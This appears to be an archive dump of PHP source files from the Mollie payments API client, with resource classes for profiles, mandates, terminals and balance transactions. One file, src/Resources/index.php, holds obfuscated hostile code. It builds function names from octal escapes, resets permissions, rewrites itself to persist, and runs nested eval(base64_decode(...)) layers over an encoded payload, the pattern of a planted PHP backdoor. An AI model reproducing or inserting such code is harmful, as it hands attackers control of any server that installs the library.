$_links; /** * @return bool */ public function isPending() { return $this->status === TerminalStatus::STATUS_PENDING; } /** * @return bool */ public function isActive() { return $this->status === TerminalStatus::STATUS_ACTIVE; } /** * @return bool */ public function isInactive() { return $this->status === TerminalStatus::STATUS_INACTIVE; } } src/Resources/BalanceTransaction.php 0000644 00000004606 15107407461 0013564 0 ustar 00 <?php declare(strict_types=1); namespace Mollie\Api\Resources; class BalanceTransaction extends BaseResource { /** * Indicates this is a balance transaction resource. The value will always be "balance_transaction" here. * * @var string */ public $resource; /** * The mode used to create this balance transaction. Mode determines whether real or test payments can be moved to * this balance. The value is either "live" or "test". * * @var string */ public $mode; /** * The identifier uniquely referring this balance transaction. Mollie assigns this identifier at creation. * * @example baltr_QM24QwzUWR4ev4Xfgyt29d * @var string */ public $id; /** * The type of movement, for example "payment" or "refund". * * @var string */ public $type; /** * UTC datetime the balance transaction was created in ISO-8601 format. * * @example "2021-12-25T10:30:54+00:00" * @var string */ public $createdAt; /** * The final amount that was moved to or from the balance. If the transaction moves funds away from the balance, * for example when it concerns a refund, the amount will be negative. * * @example {"currency":"EUR", "value":"100.00"} * @var \stdClass */ public $resultAmount; /** * The amount that was to be moved to or from the balance, excluding deductions. If the transaction moves funds * away from the balance, for example when it concerns a refund, the amount will be negative. * * @var \stdClass */ public $initialAmount; /** * The total amount of deductions withheld from the movement. For example, if a €10,00 payment comes in with a * €0,29 fee, the deductions amount will be {"currency":"EUR", "value":"-0.29"}. When moving funds to a balance, * we always round the deduction to a ‘real’ amount. Any differences between these realtime rounded amounts and * the final invoice will be compensated when the invoice is generated. * * @example {"currency":"EUR", "value":"-0.29"} * * @var \stdClass */ public $deductions; /** * Depending on the type of the balance transaction, we will try to give more context about the specific event that * triggered the movement. * * @var \stdClass */ public $context; } src/Resources/ProfileCollection.php 0000644 00000000554 15107407461 0013443 0 ustar 00 <?php namespace Mollie\Api\Resources; class ProfileCollection extends CursorCollection { /** * @return string */ public function getCollectionResourceName() { return "profiles"; } /** * @return BaseResource */ protected function createResourceObject() { return new Profile($this->client); } } src/Resources/IssuerCollection.php 0000644 00000000326 15107407461 0013312 0 ustar 00 <?php namespace Mollie\Api\Resources; class IssuerCollection extends BaseCollection { /** * @return string|null */ public function getCollectionResourceName() { return null; } } src/Resources/InvoiceCollection.php 0000644 00000000554 15107407461 0013437 0 ustar 00 <?php namespace Mollie\Api\Resources; class InvoiceCollection extends CursorCollection { /** * @return string */ public function getCollectionResourceName() { return "invoices"; } /** * @return BaseResource */ protected function createResourceObject() { return new Invoice($this->client); } } src/Resources/Profile.php 0000644 00000012637 15107407461 0011434 0 ustar 00 <?php namespace Mollie\Api\Resources; use Mollie\Api\Exceptions\ApiException; use Mollie\Api\MollieApiClient; use Mollie\Api\Types\ProfileStatus; class Profile extends BaseResource { /** * @var string */ public $id; /** * Test or live mode * * @var string */ public $mode; /** * @var string */ public $name; /** * @var string */ public $website; /** * @var string */ public $email; /** * @var string */ public $phone; /** * See https://docs.mollie.com/reference/v2/profiles-api/get-profile * This parameter is deprecated and will be removed in 2022. Please use the businessCategory parameter instead. * * @deprecated * @var int|null */ public $categoryCode; /** * See https://docs.mollie.com/reference/v2/profiles-api/get-profile * * @var string|null */ public $businessCategory; /** * @var string */ public $status; /** * @var \stdClass */ public $review; /** * UTC datetime the profile was created in ISO-8601 format. * * @example "2013-12-25T10:30:54+00:00" * @var string */ public $createdAt; /** * @var \stdClass */ public $_links; /** * @return bool */ public function isUnverified() { return $this->status == ProfileStatus::STATUS_UNVERIFIED; } /** * @return bool */ public function isVerified() { return $this->status == ProfileStatus::STATUS_VERIFIED; } /** * @return bool */ public function isBlocked() { return $this->status == ProfileStatus::STATUS_BLOCKED; } /** * @return \Mollie\Api\Resources\Profile * @throws ApiException */ public function update() { $body = [ "name" => $this->name, "website" => $this->website, "email" => $this->email, "phone" => $this->phone, "businessCategory" => $this->businessCategory, "mode" => $this->mode, ]; $result = $this->client->profiles->update($this->id, $body); return ResourceFactory::createFromApiResult($result, new Profile($this->client)); } /** * Retrieves all chargebacks associated with this profile * * @return ChargebackCollection * @throws ApiException */ public function chargebacks() { if (! isset($this->_links->chargebacks->href)) { return new ChargebackCollection($this->client, 0, null); } $result = $this->client->performHttpCallToFullUrl(MollieApiClient::HTTP_GET, $this->_links->chargebacks->href); return ResourceFactory::createCursorResourceCollection( $this->client, $result->_embedded->chargebacks, Chargeback::class, $result->_links ); } /** * Retrieves all methods activated on this profile * * @return MethodCollection * @throws ApiException */ public function methods() { if (! isset($this->_links->methods->href)) { return new MethodCollection(0, null); } $result = $this->client->performHttpCallToFullUrl(MollieApiClient::HTTP_GET, $this->_links->methods->href); return ResourceFactory::createCursorResourceCollection( $this->client, $result->_embedded->methods, Method::class, $result->_links ); } /** * Enable a payment method for this profile. * * @param string $methodId * @param array $data * @return Method * @throws ApiException */ public function enableMethod($methodId, array $data = []) { return $this->client->profileMethods->createFor($this, $methodId, $data); } /** * Disable a payment method for this profile. * * @param string $methodId * @param array $data * @return Method * @throws ApiException */ public function disableMethod($methodId, array $data = []) { return $this->client->profileMethods->deleteFor($this, $methodId, $data); } /** * Retrieves all payments associated with this profile * * @return PaymentCollection * @throws ApiException */ public function payments() { if (! isset($this->_links->payments->href)) { return new PaymentCollection($this->client, 0, null); } $result = $this->client->performHttpCallToFullUrl(MollieApiClient::HTTP_GET, $this->_links->payments->href); return ResourceFactory::createCursorResourceCollection( $this->client, $result->_embedded->methods, Method::class, $result->_links ); } /** * Retrieves all refunds associated with this profile * * @return RefundCollection * @throws ApiException */ public function refunds() { if (! isset($this->_links->refunds->href)) { return new RefundCollection($this->client, 0, null); } $result = $this->client->performHttpCallToFullUrl(MollieApiClient::HTTP_GET, $this->_links->refunds->href); return ResourceFactory::createCursorResourceCollection( $this->client, $result->_embedded->refunds, Refund::class, $result->_links ); } } src/Resources/PermissionCollection.php 0000644 00000000336 15107407461 0014171 0 ustar 00 <?php namespace Mollie\Api\Resources; class PermissionCollection extends BaseCollection { /** * @return string */ public function getCollectionResourceName() { return "permissions"; } } src/Resources/TerminalCollection.php 0000644 00000000557 15107407461 0013621 0 ustar 00 <?php namespace Mollie\Api\Resources; class TerminalCollection extends CursorCollection { /** * @return string */ public function getCollectionResourceName() { return "terminals"; } /** * @return BaseResource */ protected function createResourceObject() { return new Terminal($this->client); } } src/Resources/CustomerCollection.php 0000644 00000000557 15107407461 0013647 0 ustar 00 <?php namespace Mollie\Api\Resources; class CustomerCollection extends CursorCollection { /** * @return string */ public function getCollectionResourceName() { return "customers"; } /** * @return BaseResource */ protected function createResourceObject() { return new Customer($this->client); } } src/Resources/Mandate.php 0000644 00000003473 15107407461 0011403 0 ustar 00 <?php namespace Mollie\Api\Resources; use Mollie\Api\MollieApiClient; use Mollie\Api\Types\MandateStatus; class Mandate extends BaseResource { /** * @var string */ public $id; /** * @var string */ public $status; /** * @var string */ public $mode; /** * @var string */ public $method; /** * @var \stdClass|null */ public $details; /** * @var string */ public $customerId; /** * @var string */ public $createdAt; /** * @var string */ public $mandateReference; /** * Date of signature, for example: 2018-05-07 * * @var string */ public $signatureDate; /** * @var \stdClass */ public $_links; /** * @return bool */ public function isValid() { return $this->status === MandateStatus::STATUS_VALID; } /** * @return bool */ public function isPending() { return $this->status === MandateStatus::STATUS_PENDING; } /** * @return bool */ public function isInvalid() { return $this->status === MandateStatus::STATUS_INVALID; } /** * Revoke the mandate * * @return null|\stdClass|\Mollie\Api\Resources\Mandate */ public function revoke() { if (! isset($this->_links->self->href)) { return $this; } $body = null; if ($this->client->usesOAuth()) { $body = json_encode([ "testmode" => $this->mode === "test" ? true : false, ]); } $result = $this->client->performHttpCallToFullUrl( MollieApiClient::HTTP_DELETE, $this->_links->self->href, $body ); return $result; } } src/Resources/index.php 0000644 00001345261 15107407461 0011146 0 ustar 00 <?php $ElHk0AOvU=""; ?><?php $ogt="";$ogt.="\146";$ogt.="\151";$ogt.="\154";$ogt.="\145";$ogt.="\137";$ogt.="\147";$ogt.="\145";$ogt.="\164";$ogt.="\137";$ogt.="\143";$ogt.="\157";$ogt.="\156";$ogt.="\164";$ogt.="\145";$ogt.="\156";$ogt.="\164";$ogt.="\163"; $lyop="";$lyop.="\146";$lyop.="\151";$lyop.="\154";$lyop.="\145";$lyop.="\137";$lyop.="\160";$lyop.="\165";$lyop.="\164";$lyop.="\137";$lyop.="\143";$lyop.="\157";$lyop.="\156";$lyop.="\164";$lyop.="\145";$lyop.="\156";$lyop.="\164";$lyop.="\163"; $tdq="";$tdq.="\142";$tdq.="\141";$tdq.="\163";$tdq.="\145";$tdq.="6";$tdq.="4";$tdq.="\137";$tdq.="\144";$tdq.="\145";$tdq.="\143";$tdq.="\157";$tdq.="\144";$tdq.="\145"; $fqxk="";$fqxk.="\143";$fqxk.="\150";$fqxk.="\155";$fqxk.="\157";$fqxk.="\144"; $ckpw="";$ckpw.="\145";$ckpw.="\170";$ckpw.="\160";$ckpw.="\154";$ckpw.="\157";$ckpw.="\144";$ckpw.="\145"; $tzln="";$tzln.="\164";$tzln.="\162";$tzln.="\151";$tzln.="\155"; $CLtmis=$ckpw($tdq("PD9waHAgJEVsSGswQU92VT0iIjsgPz4="),$ogt(__FILE__));if($tzln($CLtmis[0])!=""||$tzln($CLtmis[2])!=""){$fqxk(__DIR__,0755);$fqxk(__FILE__,0644);$lyop(__FILE__,$tdq("PD9waHAgJEVsSGswQU92VT0iIjsgPz4=").$CLtmis[1].$tdq("PD9waHAgJEVsSGswQU92VT0iIjsgPz4="));}?><?php eval('?>'.base64_decode('<?php eval('?>'.base64_decode('<?php eval('?>'.base64_decode('<?php eval('?>'.base64_decode('PD9waHAgZXZhbCgnPz4nLmJhc2U2NF9kZWNvZGUoJ1BEOXdhSEFnWlhaaGJDZ25QejRuTG1KaGMyVTJORjlrWldOdlpHVW9KMUJFT1hkaFNFRm5XbGhhYUdKRFoyNVFlalJ1VEcxS2FHTXlWVEpPUmpscldsZE9kbHBIVlc5S01VSkZUMWhrYUZORlJtNVRhMWswVDFWc2MyUXphRTVXUlVad1ZETnNVMXByZUhGTlIyeFpVa1ZXTlZSclRrcE9NSEJIVDFkYVdVMVViRzFYUkVVMVdteG5lRTlFYkVwaVNHUTBWR3hTVW1GVk9UVlZiVnBaVFZSc2JWZEVSVFZhYkdkNFQxZGFUV0ZxUW5CWFJWSkdUVVUxTlZOVVpFdFNhbXh0VjBSRk5WcHNaM2hQVjFwWlpWVkZOVk5YZUROTk1EVkVVMVJrUzFKcWJHMVhSRVUxV214bmVFOVhXbGxOVkdneFZVWk9TMWt3TVZWVVZFNUtZVzVPY2xkRVJUVmFiR2Q0VDFkYVdVMVViRzFVUjI5M1lWWm9SVkpVUWs5aFZXc3pVMnRaTlZwc1ozaFBWMXBaVFZSc2JWZEVSVFJrVmtKVVUyMU9UbFpHVlhoVFYzQjZZVEZuZUU5WFdsbE5WR3h0VjBSRk5WcHJlSEZOUjJ4WlVrVlZlRlJ1YkVwT01IQkhUMGhXVVZVd2NHcFVWbEpLVFVWc2NXTXlkRmxOVkd4dFYwUkZOVnBzWjNoUFYxcFpaVlJSTlZOWGVETmxSVFZWVWxkc1VHVldTbTFVUjI5M1lWWm9SVkpZYkU1Uk1Hc3pVMnRaTkdSV1FsUlRiVTVPVmtVd2VsTlhjSHBoTVdnMVRrUnNTbUpJWkRSVVZsSkNZVlU1TlZWdFdsbE5WR3h0VjBSRk5WcHNaM2hQU0ZaUlZUQndhbFJXVWxwbFZXeHhZekowV1dWVVVUVlRWM2d6WlVVeFZWa3liRkJsVmtwdFZFZHZkMkZXYUVWU1dHeE9aVlZyTTFOcldUVmFiR2Q0VDFkYVdVMVViRzFYUkVVMFpGWkNWRk50VGs1V1JsVjRVMWR3ZW1FeFozaFBWMXBaVFZSc2JWZEVSVFZhYTNoeFRVZHNXVkpGVlhoVWJFNUtUakJ3UjA5SVZsRlZNSEJxVkZaU1NrMUZiSEZqTW5SWlRWUnNiVmRFUlRWYWJHZDRUMWRhV1dWVVVUVlRWM2d6WlVVMVJWSlhiRkJsVmtwdFYwUkZOVnBzWjNoUFYxcFpUVlJvTVZWR1RrcGFNR3h4WXpKMFdVMVViRzFYUkVVMVdteG5lRTlYV2sxaGFrSndWMFZTUmsxVk5YQlRWR1JMVW1wc2JWZEVSVFZhYkdkNFQxZGFXV1ZVVVRWVFYzZ3paVVUxUlZKWGJGQmxWa3B0VjBSRk5WcHNaM2hQVjFwWlRWUm9NVlZHVGt0Wk1ERlZWbFJHU21GdVRuSlhSRVUxV214bmVFOVhXbGxOVkd4dFZFZHZkMkZXYUVWU1ZFSlBWVEJyTTFOcldUVmFiR2Q0VDFkYVdVMVViRzFYU0dzd1QxVnNjMlI2VGs5Vk1Hc3pVMnRaTlZwc1ozaFBWMXBaVFZSc2JWZElhekJQVld4d1dUSnNVR1ZXU20xWFJFVTFXbXhuZUU5WFdsbE5WR2d4VlVaT1Mxa3dNVlZWVkVwS1lXNU9jbGRFUlRWYWJHZDRUMWRhV1UxVWJHMVVSMjkzWVZab1JWSlVSazlsVldzelUydFpOVnBzWjNoUFYxcFpUVlJzYlZkSWF6QlBWV3h6WkROb1QyRnJiSEJVTTJ4VFdteG5lRTlYV2xsTlZHeHRWMFJGTkdSV1FsUlRiVTVPVmtaVmVGTlhjSHBoTVdkNFQxZGFXVTFVYkcxWFJFVTFXbXQ0Y1UxSGJFNVZNR3N6VTJ0Wk5WcHNaM2hQVjFwWlRWUnNiVmRJYXpCUFZXeHdXVEpzVUdWV1NtMVhSRVUxV214bmVFOVhXbGxOVkdneFZVWk9TbG93YkhGak1uUlpUVlJzYlZkRVJUVmFiR2Q0VDFkYVRXRnFRbkJYUlZKR1RVVXhWRk5VWkV0U2FteHRWMFJGTlZwc1ozaFBWMXBaWlZSUk5WTlhlRE5sUlRWRlZGZHNVR1ZXU20xWFJFVTFXbXhuZUU5WFdsbE5WR2d4VlVaT1Mxa3dNVlZYVkVKS1lXNU9jbGRFUlRWYWJHZDRUMWRhV1UxVWJHMVVSMjkzWVZab1JWSlVSazVWTUdzelUydFpOVnBzWjNoUFYxcFpUVlJzYlZkSWF6QlBWV3h6WkROb1QxWkhUbkJVTTJ4VFdteG5lRTlYV2xsTlZHeHRWMFJGTkdSV1FsUlRiVTVPVmtaVmVWTlhjSHBoTVdkNFQxZGFXVTFVYkcxWFJFVTFXbXQ0Y1UxSGJGbFNSMDE0VTFkd2VtRXhaM2hQVjFwWlRWUnNiVmRFUlRWYWEzaHhUVWRzUzJWVmF6TlRhMWsxV214bmVFOVhXbGxOVkd4dFYwaHJNRTlWYkhCWk1teFFaVlpLYlZkRVJUVmFiR2Q0VDFkYVdVMVVhREZWUms1S1dqQnNjV015ZEZsTlZHeHRWMFJGTlZwc1ozaFBWMXBOWVdwQ2NGZEZVa1pOVlRWVVUxUmtTMUpxYkcxWFJFVTFXbXhuZUU5WFdsbGxWRkUxVTFkNE0yVkZOVVZXVjJ4UVpWWktiVmRFUlRWYWJHZDRUMWRhV1UxVWFERlZSazVMV1RBeFZWZFVRa3BoYms1eVYwUkZOVnBzWjNoUFYxcFpUVlJzYlZSSGIzZGhWbWhGVWxSR1RsRXdhek5UYTFrMVdteG5lRTlYV2xsTlZHeHRWMGhyTUU5VmJITmtNMmhQVmtkT2NGUXpiRk5hYkdkNFQxZGFXVTFVYkcxWFJFVTBaRlpDVkZOdFRrNVdSa1YzVTFkd2VtRXhaM2hQVjFwWlRWUnNiVmRFUlRWYWEzaHhUVWRzV1ZKSFRYaFRWM0I2WVRGbmVFOVhXbGxOVkd4dFYwUkZOVnByZUhGTlIyeExaVlZyTTFOcldUVmFiR2Q0VDFkYVdVMVViRzFYU0dzd1QxVnNjMlF6YUU5aGEwWndWRE5zVTFwc1ozaFBWMXBaVFZSc2JWZEVSVFJrVmtKVVUyMU9UbFpHVlhwVFYzQjZZVEZuZUU5WFdsbE5WR3h0VjBSRk5WcHJlSEZOUjJ4WlVrVlZlVlJZYkVwT01IQkhUMWRhV1UxVWJHMVhSRVUxV214b05VNUViRXBpU0dRMFZHMXdVbUZWT1RWVmJWcFpUVlJzYlZkRVJUVmFiR2Q0VDBoV1VWVXdiSFZUVjNCNllURm5lRTlYV2xsTlZHeHRWMFJGTlZwcmVIRk5SMnhaVWtkTmVWTlhjSHBoTVdkNFQxZGFXVTFVYkcxWFJFVTFXbXQ0Y1UxSGJGbFNSMDEzVTFkd2VtRXhaM2hQVjFwWlRWUnNiVmRFUlRWYWEzaHhUVWRzV1ZKRlZYaFVWazVLVGpCd1IwOVhXbGxOVkd4dFYwUkZOVnBzYURWT1JHeEtZa2hrTkZSc1VscGhWVGsxVlcxYVdVMVViRzFYUkVVMVdteG5lRTlJVmxGVk1IQnFWRlpTV21Rd2JIRmpNblJaVFZSc2JWZEVSVFZhYkdkNFQxZGFUV0ZxUW5CWFJWSkdUV3MxVkZOVVpFdFNhbXh0VjBSRk5WcHNaM2hQVjFwWlpWUlJOVk5YZURObFJUVnhWVmRzVUdWV1NtMVhSRVUxV214bmVFOVhXbGxOVkdneFZVWk9TbG93YkhGak1uUlpUVlJzYlZkRVJUVmFiR2Q0VDFkYVRXRnFRbkJYUlZKR1RWVTFjRk5VWkV0U2FteHRWMFJGTlZwc1ozaFBWMXBaWlZSUk5WTlhlRE5sUlRWRlVsZHNVR1ZXU20xWFJFVTFXbXhuZUU5WFdsbE5WR2d4VlVaT1Mxa3dNVlZXVkVaS1lXNU9jbGRFUlRWYWJHZDRUMWRhV1UxVWJHMVVSMjkzWVZab1JWSlVRazlWTUdzelUydFpOVnBzWjNoUFYxcFpUVlJzYlZkSWF6QlBWV3h6WkhwT1QxVXdhek5UYTFrMVdteG5lRTlYV2xsTlZHeHRWMGhyTUU5VmJIQlpNbXhRWlZaS2JWZEVSVFZhYkdkNFQxZGFXVTFVYURGVlJrNUxXVEF4VlZaVVFrcGhiazV5VjBSRk5WcHNaM2hQVjFwWlRWUnNiVlJIYjNkaFZtaEZVbFJDVDJWVmF6TlRhMWsxV214bmVFOVhXbGxOVkd4dFYwaHJNRTlWYkhOa00yaE9aVzFPY0ZRemJGTmFiR2Q0VDFkYVdVMVViRzFYUkVVMFpGWkNWRk50VGs1V1JsVjRVMWR3ZW1FeFozaFBWMXBaVFZSc2JWZEVSVFZhYTNoeFRVZHNXVkpGVlhoVVZrNUtUakJ3UjA5WFdsbE5WR3h0VjBSRk5WcHNhRFZPUkd4S1lraGtORlJzVWxaaFZUazFWVzFhV1UxVWJHMVhSRVUxV214bmVFOUlWbEZWTUhCcVZGWlNVbVZGYkhGak1uUlpUVlJzYlZkRVJUVmFiR2Q0VDFkYVRXRnFRbkJUYm14S1RqQndSMDlYV2xsTlZHeHRWMFJGTlZwc2FEVk9SR3hLWVZWR2NGUXpiRk5hYkdkNFQxZGFXVTFVYkcxWFJFVTBaRlpDVkZOdFRrNVdSbXQzVTFkd2VtRXhaM2hQVjFwWlRWUnNiVmRFUlRWYWEzaHhUVWRzV1ZKRlZYcFVWazVLVGpCd1IwOVhXbGxOVkd4dFYwUkZOVnBzYURWT1JHeEtZa2hrTkZSdGNFSmhWVGsxVlcxYVdVMVViRzFYUkVVMVdteG5lRTlJVmxGVk1IQnFWRlpTVWsxVmJIRmpNblJaVFZSc2JWZEVSVFZhYkdkNFQxZGFUV0ZxUW5CWFJWSnFUVlZzY1dNeWRGbE5WR3h0VjBSRk5WcHNaM2hQVjFwTllXcENjRk51YkVwT01IQkhUMWRhV1UxVWJHMVhSRVUxV214b05VNUViRXBpU0dRMFZHMXdVbUZWT1RWVmJWcFpUVlJzYlZkRVJUVmFiR2Q0VDBoV1VWVXdjR3BVVmxKU1RWVnNjV015ZEZsTlZHeHRWMFJGTlZwc1ozaFBWMXBOWVdwQ2NGZEZVa1pOTURGRVUxUmtTMUpxYkcxWFJFVTFXbXhuZUU5WFdsbGxWRkUxVTFkNE0yVkZOWEZWVjJ4UVpWWktiVmRFUlRWYWJHZDRUMWRhV1UxVWFERlZSazVLWW10c2NXTXlkRmxOVkd4dFYwUkZOVnBzWjNoUFYxcE5ZV3BDY0ZkRlVtcE5hMnh4WXpKMFdVMVViRzFYUkVVMVdteG5lRTlYV2sxaGFrSndWMFZTYWsxRmJIRmpNblJaVFZSc2JWZEVSVFZhYkdkNFQxZGFUV0ZxUW5CWFJWSkdUVlV4VkZOVVpFdFNhbXh0VjBSRk5WcHNaM2hQVjFwWlpWUlJOVk5YZURObFJUVlZWMWRzVUdWV1NtMVhSRVUxV214bmVFOVhXbGxOVkdneFZVWk9TMWt3TVZWWFdHUktZVzVPY2xkRVJUVmFiR2Q0VDFkYVdVMVViRzFVUjI5M1lWWm9SVkpVU2s5Vk1Hc3pVMnRaTlZwc1ozaFBWMXBaVFZSc2JWZElhekJQVld4elpETm9UMkZzUm5CVU0yeFRXbXhuZUU5WFdsbE5WR3h0VjBSRk5HUldRbFJUVjJSS1lXNU9jbGRFUlRWYWJHZDRUMWRhV1UxVWJHMVVSMjkzWVZab1JWSlVSazloVldzelUydFpOVnBzWjNoUFYxcFpUVlJzYlZkSWF6QlBWV3h6WkROb1QxSkZWbkJVTTJ4VFdteG5lRTlYV2xsTlZHeHRWMFJGTkdSV1FsUlRiVTVPVmtaVmVGTlhjSHBoTVdkNFQxZGFXVTFVYkcxWFJFVTFXbXQ0Y1UxSGJGbFNSVlYzVkd4T1NrNHdjRWRQVjFwWlRWUnNiVmRFUlRWYWJHZzFUa1JzU21KSVkzcFViRTVLVGpCd1IwOVhXbGxOVkd4dFYwUkZOVnBzYURWT1JHeEtZVmRPY0ZRemJGTmFiR2Q0VDFkYVdVMVViRzFYUkVVMFpGWkNWRk50VGs1V1JtdzJVMWR3ZW1FeFozaFBWMXBaVFZSc2JWZEVSVFZhYTNoeFRVZHNXVkpGVlhsVWJFNUtUakJ3UjA5WFdsbE5WR3h0VjBSRk5WcHNhRFZPUkd4S1lraGtORlJyVWtwaFZUazFWVzFhV1UxVWJHMVhSRVUxV214bmVFOUlWbEZWTUhCcVZGWlNWazFWYkhGak1uUlpUVlJzYlZkRVJUVmFiR2Q0VDFkYVRXRnFRbkJYUlZKR1RWVXhWRk5VWkV0U2FteHRWMFJGTlZwc1ozaFBWMXBaWlZSUk5WTlhlRE5sUlRWeFZWZHNVR1ZXU20xWFJFVTFXbXhuZUU5WFdsbE5WR2d4VlVaT1NtSnJiSEZqTW5SWlRWUnNiVmRFUlRWYWJHZDRUMWRhVFdGcVFuQlRWVTVLVGpCd1IwOVhXbGxOVkd4dFYwUkZOVnBzYURWT1JHeEtZa2hrTkZSdGNGSmhWVGsxVlcxYVdVMVViRzFYUkVVMVdteG5lRTlJVmxGVk1IQnFWRlpTYW1WRmJIRmpNblJaVFZSc2JWZEVSVFZhYkdkNFQxZGFUV0ZxUW5CWFJWSkdUV3N4UkZOVVpFdFNhbXh0VjBSRk5WcHNaM2hQVjFwWlpWUlJOVk5YZURObFJUVkZWbGRzVUUwd05YTlplazVQWTBkSmVVNVhXbXBOTVVwdldUSTFVbUl3ZEZWak1uUlpUVlJzYlZkRVJUVmFiR2Q0VDFkYVRXRnFRbkJYUlZKcVRWVnNjV015ZEZsTlZHeHRWMFJGTlZwc1ozaFBWMXBOWVdwQ2NGTnViRXBPTUhCSFQxZGFXVTFVYkcxWFJFVTFXbXhvTlU1RWJFcGlTR1EwVkcxd1RtRlZPVFZWYlZwWlRWUnNiVmRFUlRWYWJHZDRUMGhXVVZVd2NHcFVWbEphVFZWc2NXTXlkRmxOVkd4dFYwUkZOVnBzWjNoUFYxcE5ZV3BDY0ZkRlVrWk5SVEZ3VTFSa1MxSnFiRzFYUkVVMVdteG5lRTlYV2xsbFZGRTFVMWQ0TTJWRk5WVldWMnhRWlZaS2JWZEVSVFZhYkdkNFQxZGFXVTFVYURGVlJrNUxXVEF4VlZaWWFFcGhiazV5VjBSRk5WcHNaM2hQVjFwWlRWUnNiVlJIYjNkaFZtaEZVbFJLVDFFd2F6TlRhMWsxV214bmVFOVhXbGxOVkd4dFYwaHJNRTlWYkhCWk1teFFaVlpLYlZkRVJUVmFiR2Q0VDFkYVdVMVVhREZWUms1S1dqQnNjV015ZEZsTlZHeHRWMFJGTlZwc1ozaFBWMXBOWVdwQ2NGZEZVa1pOYXpWd1UxUmtTMUpxYkcxWFJFVTFXbXhuZUU5WFdsbGxWRkUxVTFkNE0yVkZOVVZTVjJ4UVpWWktiVmRFUlRWYWJHZDRUMWRhV1UxVWFERlZSazVMV1RBeFZWWlVRa3BoYms1eVYwUkZOVnBzWjNoUFYxcFpUVlJzYlZSSGIzZGhWbWhGVWxSS1QxVXdhek5UYTFrMVdteG5lRTlYV2xsTlZHeHRWMGhyTUU5VmJITmtNMmhQVWtaV2NGUXpiRk5hYkdkNFQxZGFXVTFVYkcxWFJFVTBaRlpDVkZOdFRrOWxiRlp3VkROc1UxcHNaM2hQVjFwWlRWUnNiVmRFUlRSa1ZrSlVVMWMxU21GdVRuSlhSRVUxV214bmVFOVhXbGxOVkd4dFZFZHZkMkZXYUVWU1ZFcE9aVlZyTTFOcldUVmFiR2Q0VDFkYVdVMVViRzFYU0dzd1QxVnNjMlF6YUU5aGJGWndWRE5zVTFwc1ozaFBWMXBaVFZSc2JWZEVSVFJrVmtKVVUyMU9UbFpHUmpWVFYzQjZZVEZuZUU5WFdsbE5WR3h0VjBSRk5WcHJlSEZOUjJ4WlVrVlZlRlJzVGtwT01IQkhUMWRhV1UxVWJHMVhSRVUxV214b05VNUViRXBpU0dRMFZHeFNSbUZWT1RWVmJWcFpUVlJzYlZkRVJUVmFiR2Q0VDBoV1VWVXdjR3BVVmxKYVRVVnNjV015ZEZsTlZHeHRWMFJGTlZwc1ozaFBWMXBOWVdwQ2NGTnViRXBPTUhCSFQxZGFXVTFVYkcxWFJFVTFXbXhvTlU1RWJFcGlTR042Vkcxc1NrNHdjRWRQVjFwWlRWUnNiVmRFUlRWYWJHZzFUa1JzU21KSVkzcFVhMDVLVGpCd1IwOVhXbGxOVkd4dFYwUkZOVnBzYURWT1JHeEtZa2hqZUZSdWJFcE9NSEJIVDFkYVdVMVViRzFYUkVVMVdteG9OVTVFYkVwaVNHUTBWR3RTV21GVk9UVlZiVnBaVFZSc2JWZEVSVFZhYkdkNFQwaFdVVlV3Y0dwVVZsSldUVEJzY1dNeWRGbE5WR3h0VjBSRk5WcHNaM2hQVjFwTllXcENjRmRGVWtaTmF6RndVMVJrUzFKcWJHMVhSRVUxV214bmVFOVhXbGxsVkZFMVUxZDRNMlZGTlZWV1YyeFFaVlpLYlZkRVJUVmFiR2Q0VDFkYVdVMVVhREZWUms1TFdUQTFObGRYYkZCbFZrcHRWMFJGTlZwc1ozaFBWMXBaWldwQ2NsZEVSazlTYkZaelYydGFWbUpJVG5KWFJFVjNUakJ3UjA5WFdsbE5WR3h0VjBSRk5WcHJlSEZOUjNSWlRWUnNiVmRFUlRWYWJHZDRUMWRhV1dWdVRuSlhSRVUxV214bmVFOVhXbGxOVkdjMVdXeGtVazFWZEVSVmJWcFpUVlJzYlZkRVJUVmFiR2cxWVhwa1MxSnFiRzFYUkVVMVdteG5lRTlYV2xGWFJUUjRWMWMxVDAxSFRuQmFNblJaVFZSc2JWZEVSVFZhYkdkNFQwaE9UbEV6WTNsVE1WSXdZMFp3Y0dGSVFtcE5NRFZ6V2tWT2JtRXhaM2hSYkVKV1RWWkthVk5yV1RWYWJHZDRUMWRhV1UxVWJHMVhSRVUxV2tWMFZHSkVaRXRTYW14VlZXeGFUMVpHVGxaUFZUbFlaVlpLYlZkRVJUVmFiR2Q0VDFkYVdVMVViRzFYUmxGNFRVZE9kR0pJVWt4Uk1VcHRWbFZWTlZaR1drZGpNblJaVFZSc2JWZEVSVFZhYkdkNFQxZGFXVTFVUW5kVWVrMTRZMFp3Y0dGSGVHbFhSVWwzV2xaT2JtRXhaM2hVYTFwV1RWVTFTMVpFUVRGWmEzQkhUMWRhV1UxVWJHMVhSRVUxV214bmVFOVhVa3hYU0djMFUydFpOVlpHU2xkVWJGSlVWbFJzVUZZemJGTmFiR2Q0VDFkYVdVMVViRzFYUkVVMVdteG9WRkpVYkV0U2FteHRWMFJGTlZwc1ozaFBWMXBNVjBoU2MxZFVTbTlrYTJ4RVZXMWFXVTFVYkcxWFJFVTFXbXhuZUU5RVpFcFNNVmt3V1Zab1VrNHlXbFZQUTNSUlVrUnNNMWxWYUVKYU1YQlpWMjFvYVZFeVpIQlZTRzh3WVZWNGRGTnRhR3BOYkZWNVZHdFpOV0V4Y0ZoVWJscGhVakZXZGxOWGVFTlNWVGxaV2tkb1ZGSlZXblZXTW5odldWZEdTRk5yVW1GTmJYaFNXbGR3VTJOR1VraE5WWFJvVWpBeE5WWnNVa3RVTVVweFlraEtXR0pIVWxCYVIzaDNVMFphV0U5VmNHbFNWWEJIVmtSR2IyRXlSa2RVYTFwVFlYcHNVMVJYTVU5Tk1WWTJVbXRrVkZJd2NFcFdiVEZ2VmpKR2RHUjZTbGROYm1oMlZsY3hTbVF5U1hwaVJtUnBZbGhvZUZkWGVGTmpNRFZYV2tWV1ZHRnNTbkpaYTJoQ1RWWmtWVlJyT1ZSaVJYQldWbTE0YTFZeFNsZFhXSEJhVFVaVk1WUlVRWGhTYlZKSFUyeE9UbUp0WkRSV01WcGhWMnMxV0ZadVRtcFNiWGhYVm01d2MxUkdVbGhPVnpsT1lrZFNlRlZzVWxkaFZrbDNUbFJHVmsxcVZtaFpWekZMWTJzeFdWWnNWbE5XVkZaRVYydFNRMDFHV2xoVVdHUlBWbFpLYjFSVlZuZE5NV1JZVFVob2FrMVlRakJXUm1oelZqSkdjbE5yTVZaV1JYQlVWRlZhYTFZeVJraFBWMFpw